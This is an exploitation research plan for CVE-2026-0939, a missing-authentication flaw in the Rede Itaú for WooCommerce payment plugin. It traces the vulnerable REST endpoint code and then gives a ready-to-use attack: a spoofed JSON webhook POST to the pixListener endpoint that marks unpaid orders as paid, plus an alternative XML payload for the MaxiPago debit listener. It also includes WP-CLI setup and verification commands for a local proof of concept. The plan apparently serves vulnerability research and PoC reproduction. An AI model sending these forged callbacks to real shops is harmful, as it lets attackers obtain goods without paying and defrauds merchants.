Exploitation Research Plan - CVE-2026-0939

1. Vulnerability Summary

The Rede Itaú for WooCommerce plugin (up to 5.1.2) contains a critical flaw in its payment callback processing logic. The plugin registers several unauthenticated REST API endpoints intended to receive status updates from the Rede payment gateway. However, these endpoints fail to implement any form of data authenticity verification (such as digital signatures, secret tokens, or IP allowlisting).

This allows an unauthenticated attacker to manipulate the status of any WooCommerce order by sending a crafted HTTP POST request to the listener endpoints. Specifically, an attacker can transition an order from pending to processing (effectively marking an unpaid order as paid).

2. Attack Vector Analysis

• Vulnerable Endpoint: POST /wp-json/redeIntegration/pixListener
• Alternative Endpoints:
  • POST /wp-json/redeIntegration/maxipagoDebitListener
  • POST /wp-json/redePRO/redePixListener
• Authentication: None (Unauthenticated). The permission_callback for these routes is set to __return_true in Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php.
• Preconditions:
  • The "Integration Rede Pix" payment method must be enabled.
  • An order must exist with the status pending using the affected payment method.
  • The attacker must know the Transaction ID (tid) associated with the order.

3. Code Flow

1. Endpoint Registration: In Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php, the function registerorderRedeCaptureEndPoint() registers the route:

   register_rest_route('redeIntegration', '/pixListener', array(
       'methods' => 'POST',
       'callback' => array($this, 'redePixListenerLegacy'),
       'permission_callback' => '__return_true',
   ));
   

2. Callback Execution: When a POST request hits /wp-json/redeIntegration/pixListener, redePixListenerLegacy($request) is executed.
3. Parameter Extraction:
   • It retrieves parameters: $requestParams = $request->get_params();
   • It extracts the Transaction ID: $tid = $requestParams['data']['id'];
4. Order Lookup: It searches for WooCommerce orders matching this tid:

   $args = array(
       'meta_key' => '_wc_rede_integration_pix_transaction_tid',
       'meta_value' => $tid,
       // ...
   );
   $orders = wc_get_orders($args);
   

5. Status Manipulation: If an order is found and the event matches PV.UPDATE_TRANSACTION_PIX, it updates the status:

   if ('PV.UPDATE_TRANSACTION_PIX' == $requestParams['events'][0]) {
       if ($order->get_status() === 'pending') {
           $order->update_status($paymentCompleteStatus, __('PIX payment confirmed via webhook - FREE version', 'woo-rede'));
       }
   }
   

   Crucially, there is no check to ensure the request actually originated from Rede.

4. Nonce Acquisition Strategy

No nonce is required. The vulnerability exists in a REST API endpoint registered with 'permission_callback' => '__return_true', which bypasses WordPress's default REST nonce requirement for authenticated actions.

5. Exploitation Strategy

The goal is to mark a "pending" PIX order as "paid" (processing).

Step 1: Create a Pending Order

An attacker (or the PoC agent) creates an order as a guest using the "Integration Rede Pix" method. This generates a tid stored in the database meta.

Step 2: Extract the Transaction ID (tid)

In a real-world scenario, the tid is often displayed on the "Order Received" (Thank You) page or sent via email. For the PoC, we will retrieve it directly from the database to simulate an attacker who has obtained their own TID during checkout.

Step 3: Trigger the Webhook

Send a spoofed callback to the listener.

• URL: http://localhost:8080/wp-json/redeIntegration/pixListener
• Method: POST
• Headers: Content-Type: application/json
• Payload:

{
    "events": ["PV.UPDATE_TRANSACTION_PIX"],
    "data": {
        "id": "REPLACE_WITH_ACTUAL_TID"
    }
}

6. Test Data Setup

1. Enable WooCommerce and the Plugin: Ensure both are active.
2. Configure Gateway: Enable integration_rede_pix in WooCommerce settings.

   wp option update woocommerce_integration_rede_pix_settings '{"enabled":"yes", "pv":"12345", "token":"abcde"}' --format=json
   

3. Create a Product:

   wp post create --post_type=product --post_title="Test Product" --post_status=publish
   # Get the product ID (e.g., 123)
   

4. Create a Pending Order: Manually create an order assigned to the integration_rede_pix method and give it a dummy tid.

   # Create order
   ORDER_ID=$(wp wc order create --status=pending --customer_id=0 --payment_method=integration_rede_pix --user=admin --format=ids)
   # Assign a TID to the order
   wp post primary-id meta add $ORDER_ID _wc_rede_integration_pix_transaction_tid "POC-TID-999"
   

7. Expected Results

• The REST API endpoint should return a 200 OK response with an empty body (as per return new WP_REST_Response('', 200);).
• The order status should change from pending to processing.
• An order note should be added: "PIX payment confirmed via webhook - FREE version".

8. Verification Steps

Verify the order status via WP-CLI:

wp wc order get <ORDER_ID> --field=status
# Expected output: processing

Check order notes:

wp wc order_note list <ORDER_ID> --field=note
# Should contain: "PIX payment confirmed via webhook - FREE version"

9. Alternative Approaches

If the pixListener is patched or behaves differently, target the MaxiPago Debit Listener:

• URL: POST /wp-json/redeIntegration/maxipagoDebitListener
• Payload: Form-data with an xml parameter.
• XML Structure:

<transaction-event>
    <referenceNumber>ORDER_REFERENCE_HERE</referenceNumber>
    <transactionStatus>3</transactionStatus>
</transaction-event>

• Meta Key: _wc_maxipago_transaction_reference_num
• Logic: Found in maxipagoDebitListener() in Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php. It uses parse_str on the raw body, then simplexml_load_string on the xml key.